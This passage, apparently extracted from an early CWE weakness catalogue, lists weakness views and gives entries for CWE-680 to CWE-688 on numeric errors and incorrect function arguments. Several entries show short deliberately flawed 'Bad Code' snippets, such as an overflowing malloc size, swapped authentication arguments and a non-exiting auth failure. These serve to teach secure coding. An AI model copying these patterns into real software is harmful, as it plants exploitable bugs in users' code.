We	117	Incorrect Output Sanitization for Logs
We	123	Write-what-where Condition
We	124	Boundary Beginning Violation ('Buffer Underwrite')
We	125	Out-of-bounds Read
We	128	Wrap-around Error
We	129	Unchecked Array Indexing
We	130	Improper Handling of Length Parameter Inconsistency
We	131	Incorrect Calculation of Buffer Size
⊘	132	DEPRECATED (Duplicate): Miscalculated Null Termination
We	134	Uncontrolled Format String
We	135	Incorrect Calculation of Multi-Byte String Length
We	140	Failure to Sanitize Delimiters
We	166	Failure to Handle Missing Special Element
We	167	Failure to Handle Additional Special Element
We	168	Failure to Resolve Inconsistent Special Elements
We	170	Improper Null Termination
We	178	Failure to Resolve Case Sensitivity
We	179	Incorrect Behavior Order: Early Validation
We	180	Incorrect Behavior Order: Validate Before Canonicalize
We	181	Incorrect Behavior Order: Validate Before Filter
We	182	Collapse of Data Into Unsafe Value
We	183	Permissive Whitelist
We	184	Incomplete Blacklist
We	186	Overly Restrictive Regular Expression
We	187	Partial Comparison
We	188	Reliance on Data/Memory Layout
We	190	Integer Overflow or Wraparound
We	191	Integer Underflow (Wrap or Wraparound)
We	193	Off-by-one Error
We	194	Unexpected Sign Extension
We	197	Numeric Truncation Error
We	198	Use of Incorrect Byte Ordering
We	204	Response Discrepancy Information Leak
We	205	Behavioral Discrepancy Information Leak
We	208	Timing Discrepancy Information Leak

Type	ID	Name
Wa	209	Error Message Information Leak
Wa	210	Product-Generated Error Message Information Leak
Wa	211	Product-External Error Message Information Leak
Wa	212	Cross-boundary Cleansing Information Leak
Wa	213	Intended Information Leak
⊘	217	Failure to Protect Stored Data from Modification
⊘	218	DEPRECATED (Duplicate): Failure to provide confidentiality for stored data
Wa	222	Truncation of Security-relevant Information
Wa	223	Omission of Security-relevant Information
Wa	224	Obscured Security-relevant Information by Alternate Name
⊘	225	DEPRECATED (Duplicate): General Information Management Problems
Wa	226	Sensitive Information Uncleared Before Release
Wa	230	Improper Handling of Missing Values
Wa	231	Improper Handling of Extra Values
Wa	232	Improper Handling of Undefined Values
Wa	234	Failure to Handle Missing Parameter
Wa	235	Improper Handling of Extra Parameters
Wa	236	Improper Handling of Undefined Parameters
Wa	238	Improper Handling of Incomplete Structural Elements
Wa	239	Failure to Handle Incomplete Element
Wa	240	Improper Handling of Inconsistent Structural Elements
Wa	241	Improper Handling of Unexpected Data Type
Wa	242	Use of Inherently Dangerous Function
Wa	248	Uncaught Exception
Wa	252	Unchecked Return Value
Wa	253	Incorrect Check of Function Return Value
Wa	257	Storing Passwords in a Recoverable Format
Wa	259	Hard-Coded Password
Wa	263	Password Aging with Long Expiration
Wa	266	Incorrect Privilege Assignment
Wa	267	Privilege Defined With Unsafe Actions
Wa	268	Privilege Chaining
Wa	269	Insecure Privilege Management
Wa	270	Privilege Context Switching Error
Wa	272	Least Privilege Violation
Wa	273	Improper Check for Successfully Dropped Privileges
Wa	274	Failure to Handle Insufficient Privileges
Wa	280	Improper Handling of Insufficient Permissions or Privileges
Wa	281	Permission Preservation Failure
Wa	283	Unverified Ownership
Wa	285	Improper Access Control (Authorization)
Wa	288	Authentication Bypass Using an Alternate Path or Channel
Wa	290	Authentication Bypass by Spoofing
Wa	294	Authentication Bypass by Capture-replay
Wa	296	Improper Following of Chain of Trust for Certificate Validation
Wa	297	Improper Validation of Host-specific Certificate Data
Wa	298	Improper Validation of Certificate Expiration
Wa	299	Improper Check for Certificate Revocation
Wa	303	Improper Implementation of Authentication Algorithm
Wa	304	Missing Critical Step in Authentication
Wa	305	Authentication Bypass by Primary Weakness
Wa	307	Failure to Restrict Excessive Authentication Attempts
Wa	308	Use of Single-factor Authentication
Wa	309	Use of Password System for Primary Authentication
Wa	311	Failure to Encrypt Sensitive Data
Wa	312	Cleartext Storage of Sensitive Information
Wa	319	Cleartext Transmission of Sensitive Information

Type	ID	Name
We	321	Use of Hard-coded Cryptographic Key
We	322	Key Exchange without Entity Authentication
We	323	Reusing a Nonce, Key Pair in Encryption
We	324	Use of a Key Past its Expiration Date
We	325	Missing Required Cryptographic Step
We	327	Use of a Broken or Risky Cryptographic Algorithm
We	328	Reversible One-Way Hash
We	331	Insufficient Entropy
We	334	Small Space of Random Values
We	336	Same Seed in PRNG
We	337	Predictable Seed in PRNG
We	338	Use of Cryptographically Weak PRNG
We	339	Small Seed Space in PRNG
We	341	Predictable from Observable State
We	342	Predictable Exact Value from Previous Values
We	343	Predictable Value Range from Previous Values
We	344	Use of Invariant Value in Dynamically Changing Context
We	346	Origin Validation Error
We	347	Improperly Verified Signature
We	348	Use of Less Trusted Source
We	349	Acceptance of Extraneous Untrusted Data With Trusted Data
We	350	Improperly Trusted Reverse DNS
We	351	Insufficient Type Distinction
We	353	Failure to Add Integrity Check Value
We	354	Improper Validation of Integrity Check Value
We	356	Product UI does not Warn User of Unsafe Actions
We	357	Insufficient UI Warning of Dangerous Operations
We	358	Improperly Implemented Security Check for Standard
We	360	Trust of System Event Data
We	363	Race Condition Enabling Link Following
We	364	Signal Handler Race Condition
We	365	Race Condition in Switch
We	366	Race Condition within a Thread
We	367	Time-of-check Time-of-use (TOCTOU) Race Condition
We	368	Context Switching Race Condition
We	369	Divide By Zero
We	370	Race Condition in Checking for Certificate Revocation
We	372	Incomplete Internal State Distinction
We	373	State Synchronization Error
We	374	Mutable Objects Passed by Reference
We	375	Passing Mutable Objects to an Untrusted Method
We	377	Insecure Temporary File
We	378	Creation of Temporary File With Insecure Permissions
We	379	Creation of Temporary File in Directory with Insecure Permissions
We	385	Covert Timing Channel
We	386	Symbolic Name not Mapping to Correct Object
We	391	Unchecked Error Condition
We	392	Failure to Report Error in Status Code
We	393	Return of Wrong Status Code
We	394	Unexpected Status Code or Return Value
We	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference
We	396	Declaration of Catch for Generic Exception
We	397	Declaration of Throws for Generic Exception
We	400	Uncontrolled Resource Consumption (aka 'Resource Exhaustion')
We	401	Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak')
We	403	UNIX File Descriptor Leak
We	404	Improper Resource Shutdown or Release

Type	ID	Name
Wa	406	Insufficient Control of Network Message Volume (Network Amplification)
Wa	407	Algorithmic Complexity
Wa	408	Incorrect Behavior Order: Early Amplification
Wa	409	Failure to Handle Highly Compressed Data (Data Amplification)
Wa	410	Insufficient Resource Pool
Wa	412	Unrestricted Lock on Critical Resource
Wa	413	Insufficient Resource Locking
Wa	414	Missing Lock Check
Wa	416	Use After Free
Wa	419	Unprotected Primary Channel
Wa	420	Unprotected Alternate Channel
Wa	421	Race Condition During Access to Alternate Channel
⊘	423	DEPRECATED (Duplicate): Proxied Trusted Channel
Wa	425	Direct Request ('Forced Browsing')
Wa	427	Uncontrolled Search Path Element
Wa	428	Unquoted Search Path or Element
Wa	430	Deployment of Wrong Handler
Wa	431	Missing Handler
Wa	432	Dangerous Handler not Disabled During Sensitive Operations
Wa	436	Interpretation Conflict
Wa	437	Incomplete Model of Endpoint Features
Wa	439	Behavioral Change in New Version or Environment
Wa	440	Expected Behavior Violation
Wa	441	Unintended Proxy/Intermediary
⊘	443	DEPRECATED (Duplicate): HTTP response splitting
Wa	444	Inconsistent Interpretation of HTTP Requests (aka 'HTTP Request Smuggling')
Wa	446	UI Discrepancy for Security Feature
Wa	447	Unimplemented or Unsupported Feature in UI
Wa	448	Obsolete Feature in UI
Wa	449	The UI Performs the Wrong Action
Wa	450	Multiple Interpretations of UI Input
Wa	451	UI Misrepresentation of Critical Information
Wa	453	Insecure Default Variable Initialization
Wa	454	External Initialization of Trusted Variables
Wa	455	Non-exit on Failed Initialization
Wa	456	Missing Initialization
⊘	458	DEPRECATED: Incorrect Initialization
Wa	459	Incomplete Cleanup
Wa	462	Duplicate Key in Associative List (Alist)
Wa	463	Deletion of Data Structure Sentinel
Wa	464	Addition of Data Structure Sentinel
Wa	466	Return of Pointer Value Outside of Expected Range
Wa	468	Incorrect Pointer Scaling
Wa	469	Use of Pointer Subtraction to Determine Size
Wa	470	Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection')
Wa	471	Modification of Assumed-Immutable Data (MAID)
Wa	472	External Control of Assumed-Immutable Web Parameter
Wa	474	Use of Function with Inconsistent Implementations
Wa	475	Undefined Behavior for Input to API
Wa	476	NULL Pointer Dereference
Wa	477	Use of Obsolete Functions
Wa	480	Use of Incorrect Operator
Wa	484	Omitted Break Statement in Switch
Wa	489	Leftover Debug Code
Wa	494	Download of Code Without Integrity Check
Wa	501	Trust Boundary Violation
Wa	507	Trojan Horse

Type	ID	Name
We	508	Non-Replicating Malicious Code
We	509	Replicating Malicious Code (Virus or Worm)
We	510	Trapdoor
We	511	Logic/Time Bomb
We	512	Spyware
We	515	Covert Storage Channel
⊘	516	DEPRECATED (Duplicate): Covert Timing Channel
We	521	Weak Password Requirements
We	522	Insufficiently Protected Credentials
We	538	File and Directory Information Leaks
We	544	Failure to Use a Standardized Error Handling Mechanism
We	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
We	552	Files or Directories Accessible to External Parties
We	562	Return of Stack Variable Address
We	565	Use of Cookies in Security Decision
We	567	Unsynchronized Access to Shared Data
We	581	Object Model Violation: Just One of Equals and Hashcode Defined
We	584	Return Inside Finally Block
We	587	Assignment of a Fixed Address to a Pointer
We	595	Incorrect Syntactic Object Comparison
We	596	Incorrect Semantic Object Comparison
We	600	Failure to Catch All Exceptions in Servlet
We	602	Client-Side Enforcement of Server-Side Security
We	603	Use of Client-Side Authentication
We	605	Multiple Binds to the Same Port
We	606	Unchecked Input for Loop Condition
We	609	Double-Checked Locking
We	613	Insufficient Session Expiration
We	618	Exposed Unsafe ActiveX Method
We	619	Dangling Database Cursor (aka 'Cursor Injection')
We	621	Variable Extraction Error
We	624	Executable Regular Expression Error
We	625	Permissive Regular Expression
We	627	Dynamic Variable Evaluation
We	628	Function Call with Incorrectly Specified Arguments
We	639	Access Control Bypass Through User-Controlled Key
We	640	Weak Password Recovery Mechanism for Forgotten Password
We	643	Failure to Sanitize Data within XPath Expressions (aka 'XPath injection')
We	645	Overly Restrictive Account Lockout Mechanism
We	648	Improper Use of Privileged APIs
We	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
We	652	Failure to Sanitize Data within XQuery Expressions (aka 'XQuery Injection')
We	653	Insufficient Compartmentalization
We	654	Reliance on a Single Factor in a Security Decision
We	655	Failure to Satisfy Psychological Acceptability
We	656	Reliance on Security through Obscurity
We	662	Insufficient Synchronization
We	663	Use of a Non-reentrant Function in an Unsynchronized Context
We	665	Improper Initialization
We	666	Operation on Resource in Wrong Phase of Lifetime
We	667	Insufficient Locking
We	672	Use of a Resource after Expiration or Release
We	674	Uncontrolled Recursion
We	676	Use of Potentially Dangerous Function
We	681	Incorrect Conversion between Numeric Types
We	684	Failure to Provide Specified Functionality

Type	ID	Name
Wa	694	Use of Multiple Resources with Duplicate Identifier
Wa	695	Use of Low-Level Functionality
Wa	698	Redirect Without Exit
Wa	708	Incorrect Ownership Assignment
Wa	733	Compiler Optimization Removal or Modification of Security-critical Code
Wa	749	Exposed Dangerous Method or Function

CWE-678: Composites

View ID: 678 *(View: Graph)* **Status:** Draft

Objective

This view (graph) displays only composite weaknesses.

View Data

Filter Used:

.//@Compound_Element_Structure='Composite'

View Metrics

	CWEs in this view		Total CWEs
Total	**9**	out of	777
Views	0	out of	22
Categories	0	out of	105
Weaknesses	0	out of	638
Compound_Elements	9	out of	12

CWEs Included in this View

Type	ID	Name
	61	UNIX Symbolic Link (Symlink) Following
	98	Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')
	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
	291	Trusting Self-reported IP Address
	352	Cross-Site Request Forgery (CSRF)
	384	Session Fixation
	426	Untrusted Search Path
	434	Unrestricted File Upload
	689	Permission Race Condition During Resource Copy

CWE-679: Chain Elements

View ID: 679 *(View: Implicit Slice)* **Status:** Draft

Objective

This view (slice) displays only weakness elements that are part of a chain.

View Data

Filter Used:

(.//Relationship_Nature='CanPrecede') or (@ID = //Relationship_Target_ID[../Relationship_Nature='CanPrecede'])

View Metrics

	CWEs in this view		Total CWEs
Total	**83**	out of	777
Views	0	out of	22
Categories	1	out of	105
Weaknesses	79	out of	638
Compound_Elements	3	out of	12

CWEs Included in this View

Type	ID	Name
Wc	20	Improper Input Validation
Wc	22	Path Traversal

Type	ID	Name
	33	Path Traversal: '....' (Multiple Dot)
	34	Path Traversal: '..../'
	35	Path Traversal: '.../.../'
	41	Failure to Resolve Path Equivalence
	46	Path Equivalence: 'filename ' (Trailing Space)
	52	Path Equivalence: '/multiple/trailing/slash//'
	59	Failure to Resolve Links Before File Access (aka 'Link Following')
	73	External Control of File Name or Path
	74	Failure to Sanitize Data into a Different Plane (aka 'Injection')
	78	Failure to Preserve OS Command Structure (aka 'OS Command Injection')
	79	Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
	89	Failure to Preserve SQL Query Structure (aka 'SQL Injection')
	93	Failure to Sanitize CRLF Sequences (aka 'CRLF Injection')
	94	Failure to Control Generation of Code (aka 'Code Injection')
	98	Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')
	113	Failure to Sanitize CRLF Sequences in HTTP Headers (aka 'HTTP Response Splitting')
	116	Improper Encoding or Escaping of Output
	117	Incorrect Output Sanitization for Logs
	119	Failure to Constrain Operations within the Bounds of a Memory Buffer
	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
	122	Heap-based Buffer Overflow
	123	Write-what-where Condition
	126	Buffer Over-read
	131	Incorrect Calculation of Buffer Size
	170	Improper Null Termination
	171	Cleansing, Canonicalization, and Comparison Errors
	172	Encoding Error
	173	Failure to Handle Alternate Encoding
	178	Failure to Resolve Case Sensitivity
	182	Collapse of Data Into Unsafe Value
	184	Incomplete Blacklist
	185	Incorrect Regular Expression
	187	Partial Comparison
	190	Integer Overflow or Wraparound
	193	Off-by-one Error
	195	Signed to Unsigned Conversion Error
	200	Information Leak (Information Disclosure)
	209	Error Message Information Leak
	231	Improper Handling of Extra Values
	244	Failure to Clear Heap Memory Before Release (aka 'Heap Inspection')
	252	Unchecked Return Value
	259	Hard-Coded Password
	287	Improper Authentication
	289	Authentication Bypass by Alternate Name
	304	Missing Critical Step in Authentication
	321	Use of Hard-coded Cryptographic Key
	362	Race Condition
	363	Race Condition Enabling Link Following
	364	Signal Handler Race Condition
	390	Detection of Error Condition Without Action
	400	Uncontrolled Resource Consumption (aka 'Resource Exhaustion')
	401	Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak')
	410	Insufficient Resource Pool
	416	Use After Free
	425	Direct Request ('Forced Browsing')
	430	Deployment of Wrong Handler

Type	ID	Name
Wa	431	Missing Handler
Wx	433	Unparsed Raw Web Content Delivery
	434	Unrestricted File Upload
Wa	456	Missing Initialization
Wa	471	Modification of Assumed-Immutable Data (MAID)
Wa	472	External Control of Assumed-Immutable Web Parameter
Wx	473	PHP External Variable Modification
Wa	476	NULL Pointer Dereference
Wx	481	Assigning instead of Comparing
Wa	494	Download of Code Without Integrity Check
Wx	498	Information Leak through Class Cloning
Wx	499	Serializable Class Containing Sensitive Data
Wa	600	Failure to Catch All Exceptions in Servlet
Wa	602	Client-Side Enforcement of Server-Side Security
Wa	609	Double-Checked Locking
Wa	613	Insufficient Session Expiration
Wx	617	Reachable Assertion
Wa	656	Reliance on Security through Obscurity
Wa	662	Insufficient Synchronization
Wc	669	Incorrect Resource Transfer Between Spheres
Wa	681	Incorrect Conversion between Numeric Types
Wc	682	Incorrect Calculation
Wc	697	Insufficient Comparison
Wc	756	Missing Custom Error Page

CWE-680: Integer Overflow to Buffer Overflow

Compound Element ID: 680 *(Compound Element Base: Chain)* **Status:** Draft

Description

Summary

The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V		Page
ChildOf	Wc	20	Improper Input Validation	**1000**		14
StartsWith	Wa	190	Integer Overflow or Wraparound	**709**	680	218

Relevant Properties

- Validity

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
67	String Format Overflow in syslog()
92	Forced Integer Overflow
100	Overflow Buffers

CWE-681: Incorrect Conversion between Numeric Types

Weakness ID: 681 *(Weakness Base)* **Status:** Draft

Description

Summary

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.

Time of Introduction

- Implementation

Demonstrative Examples

In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

Java Example: *Bad Code*

```
int i = (int) 33457.8f
```

Potential Mitigations

Avoid making conversion between numeric types. Always check for the allowed ranges.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	136	Type Errors	**699**	168
ChildOf	C	189	Numeric Errors	699	217
CanPrecede	Wc	682	Incorrect Calculation	**1000**	673
ChildOf	Wc	704	Incorrect Type Conversion or Cast	**1000**	707
ChildOf	C	738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726
ChildOf	C	739	CERT C Secure Coding Section 05 - Floating Point (FLP)	734	726
ParentOf	C	*192*	*Integer Coercion Error*	***1000***	*221*
ParentOf	We	*194*	*Unexpected Sign Extension*	***699 1000***	*224*
ParentOf	Ww	*195*	*Signed to Unsigned Conversion Error*	***699 1000***	*226*
ParentOf	Ww	*196*	*Unsigned to Signed Conversion Error*	***699 1000***	*227*
ParentOf	We	*197*	*Numeric Truncation Error*	***699 1000***	*228*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	FLP33-C	Convert integers to floating point for floating point operations
CERT C Secure Coding	FLP34-C	Ensure that floating point conversions are within range of the new type
CERT C Secure Coding	INT15-C	Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types
CERT C Secure Coding	INT31-C	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C Secure Coding	INT35-C	Evaluate integer expressions in a larger size before comparing or assigning to that size

CWE-682: Incorrect Calculation

Weakness ID: 682 *(Weakness Class)* **Status:** Draft

Description

Summary

The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

Extended Description

When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things.

Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Availability

If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.

Integrity
Availability

If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).

Access Control

In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.

Other

If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

This code attempts to allocate a list of inventory items.

C Example: *Bad Code*

```
inv_item_t table_ptr; /*10kb struct containing item info */
int num_items;
...
num_items = get_num_items();
table_ptr = (inv_item_t*)malloc(sizeof(inv_item_t)*num_items);
...
```

This code intends to allocate a list of length num_items, however as num_items grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_items long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:

This code attempts to calculates a football team's average number of yards gained per touchdown.

Java Example: *Bad Code*

```
...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored");
...
```

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be

thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

Example 3:

This example, taken from CWE-462, attempts to calculate the position of the second byte of a pointer.

Bad Code

```
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

Potential Mitigations

Implementation

Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

Implementation

Perform input validation on any numeric inputs by ensuring that they are within the expected range.

Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

Implementation

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	Weakness	170	Improper Null Termination	1000	196
ChildOf	Category	189	Numeric Errors	**699**	217
ChildOf	Category	738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726
ChildOf	Category	739	CERT C Secure Coding Section 05 - Floating Point (FLP)	734	726
ChildOf	Category	752	Risky Resource Management	**750**	733
ParentOf	Weakness	*131*	*Incorrect Calculation of Buffer Size*	***699 1000***	*163*
ParentOf	Weakness	*135*	*Incorrect Calculation of Multi-Byte String Length*	***1000***	*167*
ParentOf	Weakness	*190*	*Integer Overflow or Wraparound*	***699 1000***	*218*

Nature	Type	ID	Name	V	Page
ParentOf	We	*191*	*Integer Underflow (Wrap or Wraparound)*	***699 1000***	*220*
ParentOf	B	*192*	*Integer Coercion Error*	***699***	*221*
ParentOf	We	*193*	*Off-by-one Error*	***699 1000***	*222*
ParentOf	We	*369*	*Divide By Zero*	***699 1000***	*395*
ParentOf	Wv	*467*	*Use of sizeof() on a Pointer Type*	***1000***	*487*
ParentOf	We	*468*	*Incorrect Pointer Scaling*	***1000***	*488*
ParentOf	We	*469*	*Use of Pointer Subtraction to Determine Size*	***1000***	*489*
CanFollow	We	*681*	*Incorrect Conversion between Numeric Types*	***1000***	*673*
MemberOf	V	*1000*	*Research Concepts*	***1000***	*737*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	FLP32-C	Prevent or detect domain and range errors in math functions
CERT C Secure Coding	FLP33-C	Convert integers to floating point for floating point operations
CERT C Secure Coding	INT07-C	Use only explicitly signed or unsigned char type for numeric values
CERT C Secure Coding	INT13-C	Use bitwise operators only on unsigned operands

CWE-683: Function Call With Incorrect Order of Arguments

Weakness ID: 683 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.

Extended Description

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.

Time of Introduction

- Implementation

Demonstrative Examples

The following PHP method authenticates a user given a username/password combination but is called with the paramaters in reverse order.

PHP Example: *Bad Code*

```
function authenticate($username, $password) {
  // authenticate user
  ...
}
authenticate($_POST['password'], $_POST['username']);
```

Observed Examples

Reference	Description
CVE-2006-7049	Application calls functions with arguments in the wrong order, allowing attacker to bypass intended access restrictions.

Potential Mitigations

Use the function, procedure, or routine as specified.

Other Notes

This issue is most likely to occur in rarely-tested code.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	628	Function Call with Incorrectly Specified Arguments	**699 1000**	612

CWE-684: Failure to Provide Specified Functionality

Weakness ID: 684 *(Weakness Base)* **Status:** Draft

Description

Summary

The code does not function according to its published specifications, potentially leading to incorrect usage.

Extended Description

When providing functionality to an external party, it is important that the software behaves in accordance with the details specified. Failing to document requirements or nuances can result in unintended behaviors for the caller, possibly leading to an exploitable state.

Time of Introduction

- Implementation

Potential Mitigations

Implementation

thorougly test the functionality implementation.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	227	Failure to Fulfill API Contract ('API Abuse')	**699 1000**	254
ChildOf	C	735	CERT C Secure Coding Section 01 - Preprocessor (PRE)	**734**	724
ParentOf	We	*392*	*Failure to Report Error in Status Code*	***1000***	*418*
ParentOf	We	*393*	*Return of Wrong Status Code*	***1000***	*419*
ParentOf	We	*440*	*Expected Behavior Violation*	***1000***	*466*
ParentOf	We	*446*	*UI Discrepancy for Security Feature*	***1000***	*470*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	PRE09-C	Do not replace secure functions with less secure functions

CWE-685: Function Call With Incorrect Number of Arguments

Weakness ID: 685 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, leading to undefined behavior and resultant weaknesses.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- Perl

Detection Factors

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in languages or environments that do not require that functions always be called with the correct number of arguments, such as Perl.

Potential Mitigations

Use the function, procedure, routine as specified.

Other Notes

This issue is most likely to occur in rarely-tested code.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	628	Function Call with Incorrectly Specified Arguments	**699 1000**	612

CWE-686: Function Call With Incorrect Argument Type

Weakness ID: 686 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, leading to resultant weaknesses.

Extended Description

This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.

Time of Introduction

- Implementation

Potential Mitigations

Use the function, procedure, routine as specified.

Other Notes

This issue is most likely to occur in rarely-tested code.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	628	Function Call with Incorrectly Specified Arguments	**699 1000**	612
ChildOf	C	736	CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)	**734**	725
ChildOf	C	739	CERT C Secure Coding Section 05 - Floating Point (FLP)	734	726
ChildOf	C	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	734	727
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	728
ChildOf	C	748	CERT C Secure Coding Section 50 - POSIX (POS)	734	731

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	DCL35-C	Do not invoke a function using a type that does not match the function definition
CERT C Secure Coding	FIO00-C	Take care when creating format strings
CERT C Secure Coding	FLP31-C	Do not call functions expecting real values with complex values
CERT C Secure Coding	POS34-C	Do not call putenv() with a pointer to an automatic variable as the argument
CERT C Secure Coding	STR37-C	Arguments to character handling functions must be representable as an unsigned char

CWE-687: Function Call With Incorrectly Specified Argument Value

Weakness ID: 687 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, leading to resultant weaknesses.

Time of Introduction

- Implementation

Detection Factors

This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Demonstrative Examples

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Perl Example: *Bad Code*

```
sub ReportAuth {
  my ($username, $result, $fatal) = @_;
  PrintLog("auth: username=%s, result=%d", $username, $result);
  if (($result ne "success") && $fatal) {
    die "Failed!\n";
  }
}
sub PrivilegedFunc
{
  my $result = CheckAuth($username);
  ReportAuth($username, $result, 0);
  DoReallyImportantStuff();
}
```

Potential Mitigations

Use the function, procedure, routine as specified.

Other Notes

When primary, this weakness is most likely to occur in rarely-tested code, since the wrong value can change the semantic meaning of the program's execution and lead to obviously-incorrect behavior. It can also be resultant from issues in which the program assigns the wrong value to a variable, and that variable is later used in a function call. In that sense, this issue could be argued as having chaining relationships with many implementation errors in CWE.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	628	Function Call with Incorrectly Specified Arguments	**699 1000**	612
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**	727
ParentOf	W	*560*	*Use of umask() with chmod-style Argument*	***1000***	*560*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MEM04-C	Do not perform zero length allocations

CWE-688: Function Call With Incorrect Variable or Reference as Argument

Weakness ID: 688 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, leading to undefined behavior and resultant weaknesses.

Time of Introduction
- Implementation

Applicable Platforms
